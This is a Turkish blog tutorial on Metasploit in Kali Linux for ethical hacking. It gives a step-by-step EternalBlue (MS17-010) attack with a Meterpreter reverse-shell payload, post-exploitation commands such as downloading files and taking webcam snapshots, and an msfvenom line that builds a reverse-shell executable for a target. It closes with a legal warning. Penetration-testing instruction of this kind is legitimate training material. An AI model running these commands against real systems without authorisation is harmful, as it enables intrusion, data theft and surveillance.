Kali Linux’ta Metasploit Kullanımı: Etik Hacking İçin Güçlü Bir Araç

 

Giriş
Metasploit Framework, siber güvenlik uzmanlarının sistem açıklarını test etmek, exploit geliştirmek ve sızma testleri yürütmek için kullandığı en güçlü araçlardan biridir. Kali Linux, Metasploit'i önceden kurulu olarak sunar ve bu da etik hackerlar için pratik bir test ortamı sağlar. Bu yazıda, Kali Linux’ta Metasploit kullanımını adım adım inceleyecek, temel komutları öğrenecek ve gerçekçi test senaryoları ile framework'ü nasıl verimli kullanacağımızı ele alacağız.


Metasploit Nedir?

Metasploit, açık kaynak kodlu bir sızma testi (penetration testing) platformudur. Kullanıcılar, bu framework üzerinden bilinen açıkları hedef sistemlere karşı kullanarak, sistem güvenliğini sınayabilir. Metasploit’in temel bileşenleri şunlardır:

  • Exploitler: Sistemdeki zafiyetlerden faydalanan kod parçaları

  • Payloadlar: Exploit başarıya ulaştığında sisteme sızmak için kullanılan kodlar

  • Encoders: Payloadların tespit edilmesini zorlaştıran şifreleyiciler

  • Listeners: Kurban sistemden gelen bağlantıları dinleyen modüller


Kali Linux’ta Metasploit Başlatma

Kali Linux içerisinde Metasploit Framework önceden kurulu gelir. Başlatmak için terminali açıp aşağıdaki komutu kullanabilirsin:

bash

msfconsole

Açılış biraz sürebilir. Başladıktan sonra aşağıdaki gibi bir ekranla karşılaşırsın:

lua

=[ metasploit v6.3.15-dev ] + -- --=[ 2219 exploits - 1201 auxiliary - 398 post ] + -- --=[ 596 payloads - 45 encoders - 10 nops ] + -- --=[ You are in the msfconsole ]

Metasploit Temel Komutları

1. Yardım Menüsü

bash

help

Tüm komutların açıklamasını listeler.

2. Exploit Arama

bash

search windows/smb

Belirli bir servise veya platforma ait exploitleri aramak için kullanılır.

3. Exploit Seçme

bash

use exploit/windows/smb/ms17_010_eternalblue

Seçilen exploiti aktif hale getirir.

4. Ayarları Görüntüleme

bash

show options

Exploit ya da payload için gerekli ayarları listeler.

5. Hedef IP Ayarlama

bash

set RHOSTS 192.168.1.10

6. Payload Seçimi

bash

set payload windows/meterpreter/reverse_tcp

7. Saldırıyı Başlatma

bash

exploit

Gerçekçi Bir Saldırı Senaryosu

Diyelim ki hedef sistem Windows 7 ve üzerinde EternalBlue (MS17-010) zafiyeti var. Bu durumda aşağıdaki adımları izleyebiliriz:

  1. Exploit Seçimi

    bash

    use exploit/windows/smb/ms17_010_eternalblue
  2. Hedef IP Belirtme

    bash

    set RHOSTS 192.168.1.105
  3. Payload Ayarı

    bash

    set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100
  4. Exploit’i Çalıştırma

    bash

    exploit

Eğer her şey başarılıysa, Meterpreter shell elde edilir. Artık hedef sistemde komut çalıştırabilir, dosya çekebilir ya da ekran görüntüsü alabilirsin.


Meterpreter Oturumu Kullanımı

Meterpreter, Metasploit’in en güçlü bileşenlerinden biridir. Sessizce sistemde dolaşmanı sağlar. Örnek komutlar:

  • sysinfo: Hedef sistem bilgilerini verir

  • shell: Komut satırı başlatır

  • screenshot: Ekran görüntüsü alır

  • download dosya.txt: Hedef sistemden dosya çeker

  • webcam_snap: Kameradan anlık görüntü alır (izin varsa)


Exploit Geliştirme ve Özelleştirme

Metasploit sadece hazır exploitler ile sınırlı değildir. Kendi modüllerini yazabilir ya da var olanları düzenleyebilirsin. Bunun için Ruby programlama diline aşina olmak gerekir.

  • Exploitlerin konumu: /usr/share/metasploit-framework/modules/exploits/

  • Yeni exploit eklemek için ilgili klasöre .rb uzantılı bir Ruby dosyası eklenir.


Exploit-db ile Uyumlu Çalışma

Metasploit, exploit-db.com ile de uyumludur. Oradan indirilen zafiyet kodlarını Metasploit'e entegre ederek test edebilirsin.


Otomatikleştirme: msfvenom Aracı

Payload oluşturmak ve çalıştırılabilir dosyaya gömmek için msfvenom kullanılır:

bash

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe

Bu dosya hedefe iletilip çalıştırıldığında bağlantı kurulur ve kontrol sağlanır.


Metasploit ile İlgili Etik ve Hukuki Uyarı

Metasploit gibi güçlü bir aracın yanlış ellerde ciddi sonuçlar doğurabileceğini unutmamak gerekir. Bu araç yalnızca izinli sistemlerde, etik hackerlık çerçevesinde kullanılmalıdır. Aksi halde yasal cezai yaptırımlarla karşılaşabilirsiniz.


Sonuç

Metasploit Framework, Kali Linux’un en güçlü ve kapsamlı araçlarından biridir. Temel kullanımını öğrenmek, siber güvenlik dünyasında önemli bir adımdır. Doğru yapılandırılmış bir saldırı senaryosu ile sistem açıkları kolayca test edilebilir ve güvenlik önlemleri geliştirilebilir. Etik sınırlar içerisinde kullanıldığında, Metasploit hem öğrenme hem de profesyonel iş yaşamı için vazgeçilmez bir kaynaktır.

Yorum Gönder

Daha yeni Daha eski